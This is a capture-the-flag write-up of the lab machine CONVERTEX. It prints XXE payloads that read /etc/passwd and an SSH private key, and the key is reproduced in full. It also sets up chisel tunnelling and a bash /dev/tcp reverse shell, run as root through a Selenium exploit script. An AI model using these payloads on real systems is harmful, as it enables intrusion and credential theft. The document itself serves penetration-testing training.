Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - CONVERTEX

·2078 words·10 mins·
OFFSEC PG PRACTICE XXE SELENIUM CHISEL
Table of Contents

Summary
#

On port 5000 there is a web application called XML to CSV Converter which has an XXE vulnerability. Using this vulnerability we find the SSH private key of the gustavo user and provides us with initial access. Once on the target we see a selenium server running. Using chisel we forward port 4444 to our localhost and write a Python script to exploit this server to escalate our privileges to the root user.

Specifications
#

  • Name: CONVERTEX
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux Convertex 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.150.18
  • OFFSEC provided credentials: None
  • HASH: local.txt:51ac0dd92dfdbf29056845b21eb1c01c
  • HASH: proof.txt:b11e21f7e45f4be17b308cb332b41125

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir convertex && cd convertex && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 16 19:13 .
drwxrwxr-x 69 kali kali 4096 Sep 16 19:13 ..
drwxrwxr-x  2 kali kali 4096 Sep 16 19:13 enum
drwxrwxr-x  2 kali kali 4096 Sep 16 19:13 exploits
drwxrwxr-x  2 kali kali 4096 Sep 16 19:13 files
drwxrwxr-x  2 kali kali 4096 Sep 16 19:13 tools
drwxrwxr-x  2 kali kali 4096 Sep 16 19:13 uploads

## set bash variable
ip=192.168.150.18

## ping target to check if it's online
ping $ip

PING 192.168.150.18 (192.168.150.18) 56(84) bytes of data.
64 bytes from 192.168.150.18: icmp_seq=1 ttl=61 time=20.7 ms
64 bytes from 192.168.150.18: icmp_seq=2 ttl=61 time=22.6 ms
^C
--- 192.168.150.18 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 20.746/21.665/22.585/0.919 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Because guessing isn't hacking.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.150.18:22
Open 192.168.150.18:5000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 19:14 CEST
Initiating Ping Scan at 19:14
Scanning 192.168.150.18 [4 ports]
Completed Ping Scan at 19:14, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:14
Completed Parallel DNS resolution of 1 host. at 19:14, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:14
Scanning 192.168.150.18 [2 ports]
Discovered open port 22/tcp on 192.168.150.18
Discovered open port 5000/tcp on 192.168.150.18
Completed SYN Stealth Scan at 19:14, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.150.18
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-16 19:14:07 CEST for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
5000/tcp open  upnp    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh     syn-ack ttl 61
5000/tcp open  upnp    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,5000

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,5000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
5000/tcp open  http    syn-ack ttl 61 Werkzeug httpd 2.3.0 (Python 3.8.10)
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/2.3.0 Python/3.8.10
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

5000/tcp open  http    syn-ack ttl 61 Werkzeug httpd 2.3.0 (Python 3.8.10)
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/2.3.0 Python/3.8.10
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

On port 5000 there is a web application called XML to CSV Converter.

When we test we application for XXE and paste in this default XML code and click Convert, we indeed get a download link. Once we downloaded the CSV file we get the content of the /etc/passwd file. There is a gustavo user on the target. Lets’ see if there is a /home/gustavo/.ssh/id_rsa or a /home/gustavo/.ssh/config file (https://www.ssh.com/academy/ssh/config). There is a /home/gustavo/.ssh/config file. In this file is the location of the identityfile: IdentityFile /opt/keys/gustavo. Knowing this, let’s download this file. This is indeed an SSH private key. Trying to use this key to log into the target via SSH allows us to get initial access as the gustavo user.

## XML text to test for XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>&xxe;</test>

## content `/etc/passwd`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
gustavo:x:1000:1000::/home/gustavo:/bin/bash

## XML to download `/home/gustavo/.ssh/config`
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/gustavo/.ssh/config" >]>
<test>&xxe;</test>

## content `/home/gustavo/.ssh/config` file
Host *
  IdentityFile /opt/keys/gustavo

## XML to download `/opt/keys/gustavo`
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///opt/keys/gustavo" >]>
<test>&xxe;</test>

## content `/opt/keys/gustavo` file
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

## change directory
cd files

## create a file called `gustavo.key` with this content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAs3rlPEXJmDB+vNM59qJmnq7iED1NEQjFjnjMEcCnjVtDlxYVjfo9
RlWr/a5bKUneREzcYN5A4ytVbC4RWa1SGzNQZSfySfFESkjCSt7BkM+4xIfPliGFeQGXOJ
WxmHIBnImzpAv60JrBnRb9F6nw48cTIrbGelK5UjMrdaJKoh8Igj+KbJ6Ha2Juh6ksebhO
MORaFvpPEKs4qo680T63L8Cq+Xcddn2wbLks2mIwmXo0qm2gr/jgkP7lSK5YpXlwGr8A9R
JFVBdeo6g3BEsMAdqmOKGTLgiucBUHiHzW3hdWk9VeA946UVMwU/GjT9GpccU22ZaYCWtb
RVBN0/mPDOlz/UjdoQnVezPNQ9u6Qc2N+hw9GmHfB1rl0mmEGbUMoO+aYeFtTyXo3G9AvI
9NwjkArCDUW0tqEjAcHbIrotQYHPCr8LbWYvbSIQlzTO5DxiCRpEqJbZ+3Av6skJ3YdDCK
fdX3HTHHpWMvewcc2bCGojF2p2alv8hMXUppzb8TBnGJuuAgXq0vC32Ygg8Flj9qVd3ITk
s+JLhR3Dr1/eV8zyUBziPLRtThACFAiV4xYMWqcgsCmT676F0I80+kKjFHYvv3Saq2O9Kr
VeFlhmKmu5pg6YORZ5+vgmhlSoj24wWC40+jjrYBYEA2xi9GEgzansxGfCmXRkwwQ1JK3z
EAAAdIO+F8kDvhfJAAAAAHc3NoLXJzYQAAAgEAs3rlPEXJmDB+vNM59qJmnq7iED1NEQjF
jnjMEcCnjVtDlxYVjfo9RlWr/a5bKUneREzcYN5A4ytVbC4RWa1SGzNQZSfySfFESkjCSt
7BkM+4xIfPliGFeQGXOJWxmHIBnImzpAv60JrBnRb9F6nw48cTIrbGelK5UjMrdaJKoh8I
gj+KbJ6Ha2Juh6ksebhOMORaFvpPEKs4qo680T63L8Cq+Xcddn2wbLks2mIwmXo0qm2gr/
jgkP7lSK5YpXlwGr8A9RJFVBdeo6g3BEsMAdqmOKGTLgiucBUHiHzW3hdWk9VeA946UVMw
U/GjT9GpccU22ZaYCWtbRVBN0/mPDOlz/UjdoQnVezPNQ9u6Qc2N+hw9GmHfB1rl0mmEGb
UMoO+aYeFtTyXo3G9AvI9NwjkArCDUW0tqEjAcHbIrotQYHPCr8LbWYvbSIQlzTO5DxiCR
pEqJbZ+3Av6skJ3YdDCKfdX3HTHHpWMvewcc2bCGojF2p2alv8hMXUppzb8TBnGJuuAgXq
0vC32Ygg8Flj9qVd3ITks+JLhR3Dr1/eV8zyUBziPLRtThACFAiV4xYMWqcgsCmT676F0I
80+kKjFHYvv3Saq2O9KrVeFlhmKmu5pg6YORZ5+vgmhlSoj24wWC40+jjrYBYEA2xi9GEg
zansxGfCmXRkwwQ1JK3zEAAAADAQABAAACAQCkPhFqz55E1BQWreE8Lq9kBTvAiqhsry9C
So7MrBVoSR0YNNByxY2vQJUMp7KqnPt2WzPMvXZ5rF0Wiy27d91MIPAwMZcKTWwl4mFSbH
iMEVrPFk1D4NcovejpkiscCzAoVOb8dy4GGaiWHcRsFErp1nJPcR0+MVd/vm3Fz0cnBukd
cBI3hfb8sO3e3VRi6uM64K0Em/kgkt9fTRHDFfZDD7gmY/elSC3bwLUn/3Tj7i4ly/6hKk
ouxeOCWHGss+1/vEye+CJTarNjZns6RYbuZ213I3zxQmaHEOd84mkqggbrb/UB6ypI46y1
FMpTL9U01Ll18tacwA6c5njiQ1zAdZ5V8ZDF6jDy7bZvPo4RL/fEf7oDGOe+rLa5IBzB80
lXDkVrkV63ENDQiEtNA8Pj4aSr53l95QYgyQOA5fqz3GGXG4vhjUJbxOHWhbWyeE5R14wY
d7rlheOstwFMttxGkBJtYvwx4IpVdnaSawtztN1W18y96Zdx4HHOOHmjWo1K486AwYHVVY
74LyV96ATw60VCRuYgY7D0CWhHn3v0LnR/hsrA8zMId++WQ5fh4MSioi981cOkqtFLhG8Z
42Fn/YLXTDWW4VhXlyyp97Oh5lB+HWj3AeByx32UFdGdMyVCSFTtSqeVKCrc8NKwpfnQKx
cTnVhIzuoYYgtyKeG9xQAAAQEAgWWJzpULSb19AUU+L/AHKHWx3l3CTJqFCub5zmGkcF2s
yMqbBgzQUEc3juW6QwX9j+SCzPcF4YsWoAKAR3NtGposuZsf1RNnNa6wzU6APf/Evs3teR
k5l2JL1tJ+1GY+IkGVh4XkH3E68ozauU0uMZsAMXSZUId/PIOUkOdEFoIst4oQl77cT3f5
5dBp1FNvcdG3cuLQnnBeC8VVYnyo4yH33HxUnYt6nWdHEuz3n+d5ZhJJboOiOtGk+cEAL9
adppVRGiVpX4e4GWgrxdfLX1xkLfgUYXXuMkq+CAxdRdGxqOeefk6QIo7Ylcp8wLYx1WBx
0VLVjTGLVGqZDkumEgAAAQEA568US/VhoYKe7Hd619pGbwwGk+4BrSwDiCisenSTTzoB88
BB3/hWjJMyG6HzpE3FPmJkiMfUZs2J7+QDcffqxtPK4Phf9DFmtqG8pQt0cNmF13hxl+gI
YOCHWfjjqu0yQhb4Gzh9l2FNL1GE9VMmI2WGrKQCqqyfvUb8G7xz/izE8QiB2mt7Vioh9k
zIMfrnnko4o30BrOpZcErM4f+dOGBqNAk+eCbCctlVpnicbaL7xfmZN4hbAfEjknGPpivF
fVizRx/r7R34uZzcUqJvfos4nGk9ydUtQARfhjDAx1X50B2hdLXVbrOjSvhvGvaHQpkbZs
OHy6JDbIsysyNZUwAAAQEAxlEx4PUs2QySya7zsUjzrDnaVTdQDGcAcMXocyX4DY9WjUJr
jDtUmyl/LM6DzhOPqZXXtIGDuCDfP5LH0FL1CFJp0MCra9w2U/84d1K2C/GvKaS6xK5F0i
8xx/XYGogRCrWYCSJ/BaoKQTpB0kwnnOJtxiAdhWS5yQV/DX5msNevb0viZCnlHS20NYYb
dmd5FD1tsbXeHBqjiyU/TUSumg/DfUCq09Krplk0IdtsJSOGQqkAUE9wrWol1r/7cT9ZxG
AtFUlF5pxVqOX4N8hjcJoiG7x7FNVhSDposL37dsorV/LoXJz0T1Ux44SEmvG7FLzJfTyd
ugW64h8NPmyg6wAAAAtyb290QHVidW50dQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

## set permissions on SSH private key
chmod 600 gustavo.key

## use the SSH private to login via SSH
ssh -i gustavo.key gustavo@$ip                                  
The authenticity of host '192.168.150.18 (192.168.150.18)' can't be established.
ED25519 key fingerprint is SHA256:bdEzYRpG4k3NkIr03/E2H6ltJRUD52Zi5YA0fkNr/nY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:34: [hashed name]
    ~/.ssh/known_hosts:47: [hashed name]
    ~/.ssh/known_hosts:48: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.150.18' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 16 Sep 2025 06:36:01 PM UTC

  System load:  0.06              Processes:               229
  Usage of /:   56.7% of 9.75GB   Users logged in:         0
  Memory usage: 20%               IPv4 address for ens160: 192.168.150.18
  Swap usage:   0%


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

gustavo@Convertex:~$  

## print `local.txt`
gustavo@Convertex:~$ cat local.txt 
51ac0dd92dfdbf29056845b21eb1c01c

Privilege Escalation
#

Once on the target we see in the running processes that there is a selenium server running on probably localhost port 4444.

gustavo@Convertex:~$ ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
<SNIP>
root         868     850  0 19:30 ?        00:00:21 java -jar selenium-server-4.4.0.jar standalone --host 127.0.0.1
<SNIP>

gustavo@Convertex:~$ netstat -antup
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      832/python3         
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      1 192.168.150.18:44778    91.189.91.48:443        SYN_SENT    -                   
tcp        0    360 192.168.150.18:22       192.168.45.229:58630    ESTABLISHED -                   
tcp6       0      0 127.0.0.1:4444          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -  

Let’s use chisel to port forward 4444 to our local port 4444. First we need to download chisel: https://github.com/jpillora/chisel/releases and copy it to the uploads directory and upload it to the target. Then run the chisel server and connect to it from the target as the chisel client.

## change directory
cd uploads

## move file to `uploads` directory
mv ~/Downloads/chisel_1.10.1_linux_amd64.gz .

## gunzip this archive
gunzip chisel_1.10.1_linux_amd64.gz

## rename to `chisel`
mv chisel_1.10.1_linux_amd64 chisel

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.229

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## run chisel server on port 9000
./chisel server --reverse -p 9000
2025/09/16 22:47:13 server: Reverse tunnelling enabled
2025/09/16 22:47:13 server: Fingerprint /v3GLwYp7EYmSWx70xc8aAmpD/HlNKxnHBAwmp6w/O4=
2025/09/16 22:47:13 server: Listening on http://0.0.0.0:9000

## on the target:
## download chisel
gustavo@Convertex:~$ wget http://192.168.45.229/chisel                                                                  --2025-09-16 20:43:37--  http://192.168.45.229/chisel                                                                   Connecting to 192.168.45.229:80... connected.                                                              
HTTP request sent, awaiting response... 200 OK                                                                          Length: 9371800 (8.9M) [application/octet-stream]                                                          
Saving to: ‘chisel’                                                                                        
chisel                               100%[===================================================================>]   8.94M  7.01MB/s    in 1.3s     
2025-09-16 20:43:38 (7.01 MB/s) - ‘chisel’ saved [9371800/9371800]

## set execution bit on `chisel`
gustavo@Convertex:~$ chmod +x chisel 

## run chisel client and send to background
gustavo@Convertex:~$ ./chisel client 192.168.45.229:9000 R:4444:127.0.0.1:4444 &
[1] 3330

Now that we have the port forwarded we can browse to this URL: (http://localhost:4444/) and see the Selenium Grid. So we know it’s working.

To exploit this selenium server, we can create a payload that needs to be executed once we run a Python script that connects to the selenium server on port 4444. So, first we need to create a bash script with the reverse shell command. Then we need to setup a Python virtual environment and activate it, create the Python script, setup a listener and run the script to escalate our privileges to the root user.

## get the local I address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.229

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## on target
## create a `shell.sh` file with the reverse shell command
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.45.229/9001 0>&1' > shell.sh

## set the execution bit
chmod +x shell.sh

## locally:
## create file `exploit.py` with this content:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

hub_url = "http://127.0.0.1:4444"
payload = "/home/gustavo/shell.sh"

options = Options()
options.binary_location = payload

driver = webdriver.Remote(
    command_executor=hub_url,
    options=options
)
    
driver.get('http://example.com')
driver.quit()

## create a python virtual environment
python3 -m venv venv

## activate the virtual environment
source venv/bin/activate

## install selenium
pip3 install selenium

## run the exploit
python3 exploit.py 

## catch the reverse shell
nc -lvnp 9001              
listening on [any] 9001 ...
^[[Aconnect to [192.168.45.229] from (UNKNOWN) [192.168.150.18] 58568
bash: cannot set terminal process group (850): Inappropriate ioctl for device
bash: no job control in this shell
root@Convertex:~# 

## print `proof.txt`
root@Convertex:~# cat proof.txt
b11e21f7e45f4be17b308cb332b41125

References
#

[+] https://www.ssh.com/academy/ssh/config
[+] https://github.com/jpillora/chisel/releases

Related

OFFSEC - Proving Grounds - AIR
·2962 words·14 mins
OFFSEC PG PRACTICE ARIA2 WEBUI CHISEL SSH-KEYGEN
